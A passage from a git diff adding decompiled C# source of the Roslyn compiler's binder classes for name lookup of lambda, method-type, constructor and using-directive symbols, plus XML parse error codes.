WithExternAndUsingAliasesBinder(WithUsingNamespacesAndTypesBinder next) + : base(next) + { + } + + protected abstract ImmutableDictionary GetUsingAliasesMap(ConsList? basesBeingResolved); + + internal override void LookupSymbolsInSingleBinder(LookupResult result, string name, int arity, ConsList basesBeingResolved, LookupOptions options, Binder originalBinder, bool diagnose, ref CompoundUseSiteInfo useSiteInfo) + { + LookupSymbolInAliases(GetUsingAliasesMap(basesBeingResolved), ExternAliases, originalBinder, result, name, arity, basesBeingResolved, options, diagnose, ref useSiteInfo); + } + + internal override void AddLookupSymbolsInfoInSingleBinder(LookupSymbolsInfo result, LookupOptions options, Binder originalBinder) + { + if ((options & LookupOptions.LabelsOnly) == 0) + { + AddLookupSymbolsInfoInAliases(GetUsingAliasesMap(null), ExternAliases, result, options, originalBinder); + } + } + + protected abstract ImportChain BuildImportChain(); + + internal bool IsUsingAlias(string name, bool callerIsSemanticModel, ConsList? basesBeingResolved) + { + return IsUsingAlias(GetUsingAliasesMap(basesBeingResolved), name, callerIsSemanticModel); + } + + [Obsolete("Use other overloads", true)] + internal new static WithExternAndUsingAliasesBinder Create(SourceNamespaceSymbol declaringSymbol, CSharpSyntaxNode declarationSyntax, Binder next) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/WithExternAndUsingAliasesBinder.cs", 95); + } + + internal static WithExternAndUsingAliasesBinder Create(SourceNamespaceSymbol declaringSymbol, CSharpSyntaxNode declarationSyntax, WithUsingNamespacesAndTypesBinder next) + { + return new FromSyntax(declaringSymbol, declarationSyntax, next); + } + + internal static WithExternAndUsingAliasesBinder Create(ImmutableArray externAliases, ImmutableDictionary usingAliases, WithUsingNamespacesAndTypesBinder next) + { + return new FromSymbols(externAliases, usingAliases, next); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/WithLambdaParametersBinder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/WithLambdaParametersBinder.cs new file mode 100644 index 0000000..9af7fa2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/WithLambdaParametersBinder.cs @@ -0,0 +1,193 @@ +using System; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal class WithLambdaParametersBinder : LocalScopeBinder +{ + protected readonly LambdaSymbol lambdaSymbol; + + protected readonly MultiDictionary parameterMap; + + private readonly SmallDictionary _definitionMap; + + internal override Symbol ContainingMemberOrLambda => lambdaSymbol; + + internal override bool IsNestedFunctionBinder => true; + + internal override bool IsDirectlyInIterator => false; + + public WithLambdaParametersBinder(LambdaSymbol lambdaSymbol, Binder enclosing) + : base(enclosing) + { + this.lambdaSymbol = lambdaSymbol; + parameterMap = new MultiDictionary(); + ImmutableArray parameters = lambdaSymbol.Parameters; + if (parameters.IsDefaultOrEmpty) + { + return; + } + _definitionMap = new SmallDictionary(); + ImmutableArray.Enumerator enumerator = parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + if (!current.IsDiscard) + { + string name = current.Name; + parameterMap.Add(name, current); + if (!_definitionMap.ContainsKey(name)) + { + _definitionMap.Add(name, current); + } + } + } + } + + protected override TypeSymbol GetCurrentReturnType(out RefKind refKind) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Expected I4, but got Unknown + refKind = (RefKind)(int)lambdaSymbol.RefKind; + return lambdaSymbol.ReturnType; + } + + internal override TypeWithAnnotations GetIteratorElementType() + { + return TypeWithAnnotations.Create(CreateErrorType()); + } + + protected override void ValidateYield(YieldStatementSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + if (node != null) + { + SyntaxToken yieldKeyword = node.YieldKeyword; + diagnostics.Add(ErrorCode.ERR_YieldInAnonMeth, ((SyntaxToken)(ref yieldKeyword)).GetLocation()); + } + } + + internal override void LookupSymbolsInSingleBinder(LookupResult result, string name, int arity, ConsList basesBeingResolved, LookupOptions options, Binder originalBinder, bool diagnose, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + if ((options & LookupOptions.NamespaceAliasesOnly) != LookupOptions.Default) + { + return; + } + Enumerator enumerator = parameterMap[name].GetEnumerator(); + try + { + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + result.MergeEqual(originalBinder.CheckViability(current, arity, options, null, diagnose, ref useSiteInfo)); + } + } + finally + { + ((IDisposable)enumerator/*cast due to constrained. prefix*/).Dispose(); + } + } + + internal override void AddLookupSymbolsInfoInSingleBinder(LookupSymbolsInfo result, LookupOptions options, Binder originalBinder) + { + if (!options.CanConsiderMembers()) + { + return; + } + ImmutableArray.Enumerator enumerator = lambdaSymbol.Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + if (originalBinder.CanAddLookupSymbolInfo(current, options, result, null)) + { + ((AbstractLookupSymbolsInfo)result).AddSymbol((Symbol)current, current.Name, 0); + } + } + } + + private static bool ReportConflictWithParameter(ParameterSymbol parameter, Symbol newSymbol, string name, Location newLocation, BindingDiagnosticBag diagnostics) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Invalid comparison between Unknown and I4 + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Invalid comparison between Unknown and I4 + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Invalid comparison between Unknown and I4 + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Expected I4, but got Unknown + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Invalid comparison between Unknown and I4 + if (parameter.GetFirstLocation() == newLocation) + { + return false; + } + SymbolKind val = (SymbolKind)(((object)newSymbol == null) ? 13 : ((int)newSymbol.Kind)); + if ((int)val <= 8) + { + if ((int)val == 4) + { + return true; + } + if ((int)val != 8) + { + goto IL_008a; + } + } + else + { + if ((int)val == 9) + { + return false; + } + switch (val - 13) + { + case 0: + break; + case 4: + return false; + case 3: + diagnostics.Add(ErrorCode.ERR_QueryRangeVariableOverrides, newLocation, name); + return true; + default: + goto IL_008a; + } + } + diagnostics.Add(ErrorCode.ERR_LocalIllegallyOverrides, newLocation, name); + return true; + IL_008a: + diagnostics.Add(ErrorCode.ERR_InternalError, newLocation); + return false; + } + + internal override bool EnsureSingleDefinition(Symbol symbol, string name, Location location, BindingDiagnosticBag diagnostics) + { + SmallDictionary definitionMap = _definitionMap; + ParameterSymbol parameter = default(ParameterSymbol); + if (definitionMap != null && definitionMap.TryGetValue(name, ref parameter)) + { + return ReportConflictWithParameter(parameter, symbol, name, location, diagnostics); + } + return false; + } + + internal override ImmutableArray GetDeclaredLocalsForScope(SyntaxNode scopeDesignator) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/WithLambdaParametersBinder.cs", 172); + } + + internal override ImmutableArray GetDeclaredLocalFunctionsForScope(CSharpSyntaxNode scopeDesignator) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/WithLambdaParametersBinder.cs", 177); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/WithMethodTypeParametersBinder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/WithMethodTypeParametersBinder.cs new file mode 100644 index 0000000..72ff3a6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/WithMethodTypeParametersBinder.cs @@ -0,0 +1,61 @@ +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class WithMethodTypeParametersBinder : WithTypeParametersBinder +{ + private readonly MethodSymbol _methodSymbol; + + private MultiDictionary _lazyTypeParameterMap; + + protected override bool InExecutableBinder => false; + + internal override Symbol ContainingMemberOrLambda => _methodSymbol; + + protected override MultiDictionary TypeParameterMap + { + get + { + if (_lazyTypeParameterMap == null) + { + MultiDictionary val = new MultiDictionary(); + ImmutableArray.Enumerator enumerator = _methodSymbol.TypeParameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeParameterSymbol current = enumerator.Current; + val.Add(current.Name, current); + } + Interlocked.CompareExchange(ref _lazyTypeParameterMap, val, null); + } + return _lazyTypeParameterMap; + } + } + + protected override LookupOptions LookupMask => LookupOptions.NamespaceAliasesOnly | LookupOptions.MustNotBeMethodTypeParameter; + + internal WithMethodTypeParametersBinder(MethodSymbol methodSymbol, Binder next) + : base(next) + { + _methodSymbol = methodSymbol; + } + + internal override void AddLookupSymbolsInfoInSingleBinder(LookupSymbolsInfo result, LookupOptions options, Binder originalBinder) + { + if (!CanConsiderTypeParameters(options)) + { + return; + } + ImmutableArray.Enumerator enumerator = _methodSymbol.TypeParameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeParameterSymbol current = enumerator.Current; + if (originalBinder.CanAddLookupSymbolInfo(current, options, result, null)) + { + ((AbstractLookupSymbolsInfo)result).AddSymbol((Symbol)current, current.Name, 0); + } + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/WithNullableContextBinder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/WithNullableContextBinder.cs new file mode 100644 index 0000000..7e1386e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/WithNullableContextBinder.cs @@ -0,0 +1,20 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class WithNullableContextBinder : Binder +{ + private readonly SyntaxTree _syntaxTree; + + private readonly int _position; + + internal WithNullableContextBinder(SyntaxTree syntaxTree, int position, Binder next) + : base(next) + { + _syntaxTree = syntaxTree; + _position = position; + } + + internal override bool AreNullableAnnotationsGloballyEnabled() + { + return base.Next.AreNullableAnnotationsEnabled(_syntaxTree, _position); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/WithParametersBinder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/WithParametersBinder.cs new file mode 100644 index 0000000..07a34a4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/WithParametersBinder.cs @@ -0,0 +1,50 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class WithParametersBinder : Binder +{ + private readonly ImmutableArray _parameters; + + internal WithParametersBinder(ImmutableArray parameters, Binder next) + : base(next) + { + _parameters = parameters; + } + + internal override void AddLookupSymbolsInfoInSingleBinder(LookupSymbolsInfo result, LookupOptions options, Binder originalBinder) + { + if (!options.CanConsiderLocals()) + { + return; + } + ImmutableArray.Enumerator enumerator = _parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + if (originalBinder.CanAddLookupSymbolInfo(current, options, result, null)) + { + ((AbstractLookupSymbolsInfo)result).AddSymbol((Symbol)current, current.Name, 0); + } + } + } + + internal override void LookupSymbolsInSingleBinder(LookupResult result, string name, int arity, ConsList basesBeingResolved, LookupOptions options, Binder originalBinder, bool diagnose, ref CompoundUseSiteInfo useSiteInfo) + { + if ((options & (LookupOptions.NamespaceAliasesOnly | LookupOptions.MustBeInvocableIfMember)) != LookupOptions.Default) + { + return; + } + ImmutableArray.Enumerator enumerator = _parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + if (current.Name == name) + { + result.MergeEqual(originalBinder.CheckViability(current, arity, options, null, diagnose, ref useSiteInfo)); + } + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/WithPrimaryConstructorParametersBinder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/WithPrimaryConstructorParametersBinder.cs new file mode 100644 index 0000000..485c7a6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/WithPrimaryConstructorParametersBinder.cs @@ -0,0 +1,105 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class WithPrimaryConstructorParametersBinder : Binder +{ + private readonly NamedTypeSymbol _type; + + private MethodSymbol? _lazyPrimaryCtorWithParameters = ErrorMethodSymbol.UnknownMethod; + + private MultiDictionary? _lazyParameterMap; + + internal WithPrimaryConstructorParametersBinder(NamedTypeSymbol type, Binder next) + : base(next) + { + _type = type; + } + + internal override void AddLookupSymbolsInfoInSingleBinder(LookupSymbolsInfo result, LookupOptions options, Binder originalBinder) + { + if (!options.CanConsiderMembers()) + { + return; + } + EnsurePrimaryConstructor(); + if ((object)_lazyPrimaryCtorWithParameters == null) + { + return; + } + ImmutableArray.Enumerator enumerator = _lazyPrimaryCtorWithParameters.Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + if (originalBinder.CanAddLookupSymbolInfo(current, options, result, null)) + { + ((AbstractLookupSymbolsInfo)result).AddSymbol((Symbol)current, current.Name, 0); + } + } + } + + private void EnsurePrimaryConstructor() + { + if ((object)_lazyPrimaryCtorWithParameters != ErrorMethodSymbol.UnknownMethod) + { + return; + } + if (_type is SourceMemberContainerTypeSymbol sourceMemberContainerTypeSymbol) + { + SynthesizedPrimaryConstructor primaryConstructor = sourceMemberContainerTypeSymbol.PrimaryConstructor; + if ((object)primaryConstructor != null && primaryConstructor.ParameterCount != 0) + { + _lazyPrimaryCtorWithParameters = primaryConstructor; + return; + } + } + _lazyPrimaryCtorWithParameters = null; + } + + internal override void LookupSymbolsInSingleBinder(LookupResult result, string name, int arity, ConsList basesBeingResolved, LookupOptions options, Binder originalBinder, bool diagnose, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + if ((options & (LookupOptions.NamespaceAliasesOnly | LookupOptions.NamespacesOrTypesOnly)) != LookupOptions.Default) + { + return; + } + EnsurePrimaryConstructor(); + if ((object)_lazyPrimaryCtorWithParameters == null) + { + return; + } + MultiDictionary val = _lazyParameterMap; + if (val == null) + { + ImmutableArray parameters = _lazyPrimaryCtorWithParameters.Parameters; + val = new MultiDictionary(parameters.Length, (IEqualityComparer)EqualityComparer.Default, (IEqualityComparer)null); + ImmutableArray.Enumerator enumerator = parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + val.Add(current.Name, current); + } + _lazyParameterMap = val; + } + Enumerator enumerator2 = val[name].GetEnumerator(); + try + { + while (enumerator2.MoveNext()) + { + ParameterSymbol current2 = enumerator2.Current; + result.MergeEqual(originalBinder.CheckViability(current2, arity, options, null, diagnose, ref useSiteInfo)); + } + } + finally + { + ((IDisposable)enumerator2/*cast due to constrained. prefix*/).Dispose(); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/WithTypeParametersBinder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/WithTypeParametersBinder.cs new file mode 100644 index 0000000..f7a0b68 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/WithTypeParametersBinder.cs @@ -0,0 +1,47 @@ +using System; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class WithTypeParametersBinder : Binder +{ + protected abstract MultiDictionary TypeParameterMap { get; } + + protected virtual LookupOptions LookupMask => LookupOptions.NamespaceAliasesOnly | LookupOptions.MustBeInvocableIfMember; + + internal WithTypeParametersBinder(Binder next) + : base(next) + { + } + + protected bool CanConsiderTypeParameters(LookupOptions options) + { + return (options & (LookupMask | LookupOptions.MustBeInstance | LookupOptions.LabelsOnly)) == 0; + } + + internal override void LookupSymbolsInSingleBinder(LookupResult result, string name, int arity, ConsList basesBeingResolved, LookupOptions options, Binder originalBinder, bool diagnose, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + if ((options & LookupMask) != LookupOptions.Default) + { + return; + } + Enumerator enumerator = TypeParameterMap[name].GetEnumerator(); + try + { + while (enumerator.MoveNext()) + { + TypeParameterSymbol current = enumerator.Current; + result.MergeEqual(originalBinder.CheckViability(current, arity, options, null, diagnose, ref useSiteInfo)); + } + } + finally + { + ((IDisposable)enumerator/*cast due to constrained. prefix*/).Dispose(); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/WithUsingNamespacesAndTypesBinder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/WithUsingNamespacesAndTypesBinder.cs new file mode 100644 index 0000000..c57ec73 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/WithUsingNamespacesAndTypesBinder.cs @@ -0,0 +1,292 @@ +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class WithUsingNamespacesAndTypesBinder : Binder +{ + private sealed class FromSyntax : WithUsingNamespacesAndTypesBinder + { + private readonly SourceNamespaceSymbol _declaringSymbol; + + private readonly CSharpSyntaxNode _declarationSyntax; + + private ImmutableArray _lazyUsings; + + internal FromSyntax(SourceNamespaceSymbol declaringSymbol, CSharpSyntaxNode declarationSyntax, Binder next, bool withImportChainEntry) + : base(next, withImportChainEntry) + { + _declaringSymbol = declaringSymbol; + _declarationSyntax = declarationSyntax; + } + + internal override ImmutableArray GetUsings(ConsList? basesBeingResolved) + { + if (_lazyUsings.IsDefault) + { + ImmutableInterlocked.InterlockedInitialize(ref _lazyUsings, _declaringSymbol.GetUsingNamespacesOrTypes(_declarationSyntax, basesBeingResolved)); + } + return _lazyUsings; + } + + protected override Imports GetImports() + { + return _declaringSymbol.GetImports(_declarationSyntax, null); + } + } + + private sealed class FromSyntaxWithPreviousSubmissionImports : WithUsingNamespacesAndTypesBinder + { + private readonly SourceNamespaceSymbol _declaringSymbol; + + private readonly CSharpSyntaxNode _declarationSyntax; + + private Imports? _lazyFullImports; + + internal FromSyntaxWithPreviousSubmissionImports(SourceNamespaceSymbol declaringSymbol, CSharpSyntaxNode declarationSyntax, Binder next, bool withImportChainEntry) + : base(next, withImportChainEntry) + { + _declaringSymbol = declaringSymbol; + _declarationSyntax = declarationSyntax; + } + + internal override ImmutableArray GetUsings(ConsList? basesBeingResolved) + { + return GetImports(basesBeingResolved).Usings; + } + + private Imports GetImports(ConsList? basesBeingResolved) + { + if (_lazyFullImports == null) + { + Interlocked.CompareExchange(ref _lazyFullImports, _declaringSymbol.DeclaringCompilation.GetPreviousSubmissionImports().Concat(_declaringSymbol.GetImports(_declarationSyntax, basesBeingResolved)), null); + } + return _lazyFullImports; + } + + protected override Imports GetImports() + { + return GetImports(null); + } + } + + private sealed class FromNamespacesOrTypes : WithUsingNamespacesAndTypesBinder + { + private readonly ImmutableArray _usings; + + internal FromNamespacesOrTypes(ImmutableArray namespacesOrTypes, Binder next, bool withImportChainEntry) + : base(next, withImportChainEntry) + { + _usings = namespacesOrTypes; + } + + internal override ImmutableArray GetUsings(ConsList? basesBeingResolved) + { + return _usings; + } + + protected override Imports GetImports() + { + return Imports.Create(ImmutableDictionary.Empty, _usings, ImmutableArray.Empty); + } + } + + private readonly bool _withImportChainEntry; + + private ImportChain? _lazyImportChain; + + internal override bool SupportsExtensionMethods => true; + + internal override ImportChain? ImportChain + { + get + { + if (_lazyImportChain == null) + { + ImportChain importChain = base.Next.ImportChain; + if (_withImportChainEntry) + { + importChain = new ImportChain(GetImports(), importChain); + } + Interlocked.CompareExchange(ref _lazyImportChain, importChain, null); + } + return _lazyImportChain; + } + } + + protected WithUsingNamespacesAndTypesBinder(Binder next, bool withImportChainEntry) + : base(next) + { + _withImportChainEntry = withImportChainEntry; + } + + internal abstract ImmutableArray GetUsings(ConsList? basesBeingResolved); + + protected override AssemblySymbol? GetForwardedToAssemblyInUsingNamespaces(string name, ref NamespaceOrTypeSymbol qualifierOpt, BindingDiagnosticBag diagnostics, Location location) + { + ImmutableArray.Enumerator enumerator = GetUsings(null).GetEnumerator(); + while (enumerator.MoveNext()) + { + NamespaceOrTypeAndUsingDirective current = enumerator.Current; + string fullName = current.NamespaceOrType?.ToString() + "." + name; + AssemblySymbol forwardedToAssembly = GetForwardedToAssembly(fullName, diagnostics, location); + if (forwardedToAssembly != null) + { + qualifierOpt = current.NamespaceOrType; + return forwardedToAssembly; + } + } + return base.GetForwardedToAssemblyInUsingNamespaces(name, ref qualifierOpt, diagnostics, location); + } + + internal override void GetCandidateExtensionMethods(ArrayBuilder methods, string name, int arity, LookupOptions options, Binder originalBinder) + { + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Invalid comparison between Unknown and I4 + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Invalid comparison between Unknown and I4 + bool isSemanticModelBinder = originalBinder.IsSemanticModelBinder; + bool flag = false; + bool flag2 = false; + ImmutableArray.Enumerator enumerator = GetUsings(null).GetEnumerator(); + while (enumerator.MoveNext()) + { + NamespaceOrTypeAndUsingDirective current = enumerator.Current; + SymbolKind kind = current.NamespaceOrType.Kind; + if ((int)kind != 11) + { + if ((int)kind == 12) + { + int count = methods.Count; + ((NamespaceSymbol)current.NamespaceOrType).GetExtensionMethods(methods, name, arity, options); + if (methods.Count != count) + { + MarkImportDirective(current.UsingDirectiveReference, isSemanticModelBinder); + flag = true; + } + } + } + else + { + int count2 = methods.Count; + ((NamedTypeSymbol)current.NamespaceOrType).GetExtensionMethods(methods, name, arity, options); + if (methods.Count != count2) + { + MarkImportDirective(current.UsingDirectiveReference, isSemanticModelBinder); + flag2 = true; + } + } + } + if (flag && flag2) + { + methods.RemoveDuplicates(); + } + } + + internal override void LookupSymbolsInSingleBinder(LookupResult result, string name, int arity, ConsList? basesBeingResolved, LookupOptions options, Binder originalBinder, bool diagnose, ref CompoundUseSiteInfo useSiteInfo) + { + bool isSemanticModelBinder = originalBinder.IsSemanticModelBinder; + ImmutableArray.Enumerator enumerator = GetUsings(basesBeingResolved).GetEnumerator(); + while (enumerator.MoveNext()) + { + NamespaceOrTypeAndUsingDirective current = enumerator.Current; + ImmutableArray.Enumerator enumerator2 = Binder.GetCandidateMembers(current.NamespaceOrType, name, options, originalBinder).GetEnumerator(); + while (enumerator2.MoveNext()) + { + Symbol current2 = enumerator2.Current; + if (IsValidLookupCandidateInUsings(current2)) + { + SingleLookupResult result2 = originalBinder.CheckViability(current2, arity, options, null, diagnose, ref useSiteInfo, basesBeingResolved); + if (result2.Kind == LookupResultKind.Viable) + { + MarkImportDirective(current.UsingDirectiveReference, isSemanticModelBinder); + } + result.MergeEqual(result2); + } + } + } + } + + private static bool IsValidLookupCandidateInUsings(Symbol symbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected I4, but got Unknown + SymbolKind kind = symbol.Kind; + switch (kind - 9) + { + case 3: + return false; + case 0: + if (!symbol.IsStatic || ((MethodSymbol)symbol).IsExtensionMethod) + { + return false; + } + break; + default: + if (!symbol.IsStatic) + { + return false; + } + break; + case 2: + break; + } + return true; + } + + internal override void AddLookupSymbolsInfoInSingleBinder(LookupSymbolsInfo result, LookupOptions options, Binder originalBinder) + { + if ((options & LookupOptions.LabelsOnly) != LookupOptions.Default) + { + return; + } + options = (options & ~(LookupOptions.NamespaceAliasesOnly | LookupOptions.NamespacesOrTypesOnly)) | LookupOptions.MustNotBeNamespace; + ImmutableArray.Enumerator enumerator = GetUsings(null).GetEnumerator(); + while (enumerator.MoveNext()) + { + ImmutableArray.Enumerator enumerator2 = enumerator.Current.NamespaceOrType.GetMembersUnordered().GetEnumerator(); + while (enumerator2.MoveNext()) + { + Symbol current = enumerator2.Current; + if (IsValidLookupCandidateInUsings(current) && originalBinder.CanAddLookupSymbolInfo(current, options, result, null)) + { + ((AbstractLookupSymbolsInfo)result).AddSymbol(current, current.Name, current.GetArity()); + } + } + } + } + + protected override SourceLocalSymbol? LookupLocal(SyntaxToken nameToken) + { + return null; + } + + protected override LocalFunctionSymbol? LookupLocalFunction(SyntaxToken nameToken) + { + return null; + } + + protected abstract Imports GetImports(); + + internal static WithUsingNamespacesAndTypesBinder Create(SourceNamespaceSymbol declaringSymbol, CSharpSyntaxNode declarationSyntax, Binder next, bool withPreviousSubmissionImports = false, bool withImportChainEntry = false) + { + if (withPreviousSubmissionImports) + { + return new FromSyntaxWithPreviousSubmissionImports(declaringSymbol, declarationSyntax, next, withImportChainEntry); + } + return new FromSyntax(declaringSymbol, declarationSyntax, next, withImportChainEntry); + } + + internal static WithUsingNamespacesAndTypesBinder Create(ImmutableArray namespacesOrTypes, Binder next, bool withImportChainEntry = false) + { + return new FromNamespacesOrTypes(namespacesOrTypes, next, withImportChainEntry); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/XmlParseErrorCode.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/XmlParseErrorCode.cs new file mode 100644 index 0000000..377f400 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/XmlParseErrorCode.cs @@ -0,0 +1,25 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +internal enum XmlParseErrorCode +{ + XML_RefUndefinedEntity_1, + XML_InvalidCharEntity, + XML_InvalidUnicodeChar, + XML_InvalidWhitespace, + XML_MissingEqualsAttribute, + XML_StringLiteralNoStartQuote, + XML_StringLiteralNoEndQuote, + XML_StringLiteralNonAsciiQuote, + XML_LessThanInAttributeValue, + XML_IncorrectComment, + XML_ElementTypeMatch, + XML_DuplicateAttribute, + XML_WhitespaceMissing, + XML_EndTagNotExpected, + XML_CDataEndTagNotAllowed, + XML_EndTagExpected, + XML_ExpectedIdentifier, + XML_ExpectedEndOfTag, + XML_InvalidToken, + XML_ExpectedEndOfXml +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/XmlSyntaxDiagnosticInfo.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/XmlSyntaxDiagnosticInfo.cs new file mode 100644 index 0000000..602be73 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/XmlSyntaxDiagnosticInfo.cs @@ -0,0 +1,63 @@ +using System; +using System.Globalization; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class XmlSyntaxDiagnosticInfo : SyntaxDiagnosticInfo +{ + private readonly XmlParseErrorCode _xmlErrorCode; + + static XmlSyntaxDiagnosticInfo() + { + ObjectBinder.RegisterTypeReader(typeof(XmlSyntaxDiagnosticInfo), (Func)((ObjectReader r) => (IObjectWritable)(object)new XmlSyntaxDiagnosticInfo(r))); + } + + internal XmlSyntaxDiagnosticInfo(XmlParseErrorCode code, params object[] args) + : this(0, 0, code, args) + { + } + + internal XmlSyntaxDiagnosticInfo(int offset, int width, XmlParseErrorCode code, params object[] args) + : base(offset, width, ErrorCode.WRN_XMLParseError, args) + { + _xmlErrorCode = code; + } + + private XmlSyntaxDiagnosticInfo(XmlSyntaxDiagnosticInfo original, DiagnosticSeverity severity) + : base(original, severity) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + _xmlErrorCode = original._xmlErrorCode; + } + + protected override DiagnosticInfo GetInstanceWithSeverityCore(DiagnosticSeverity severity) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return 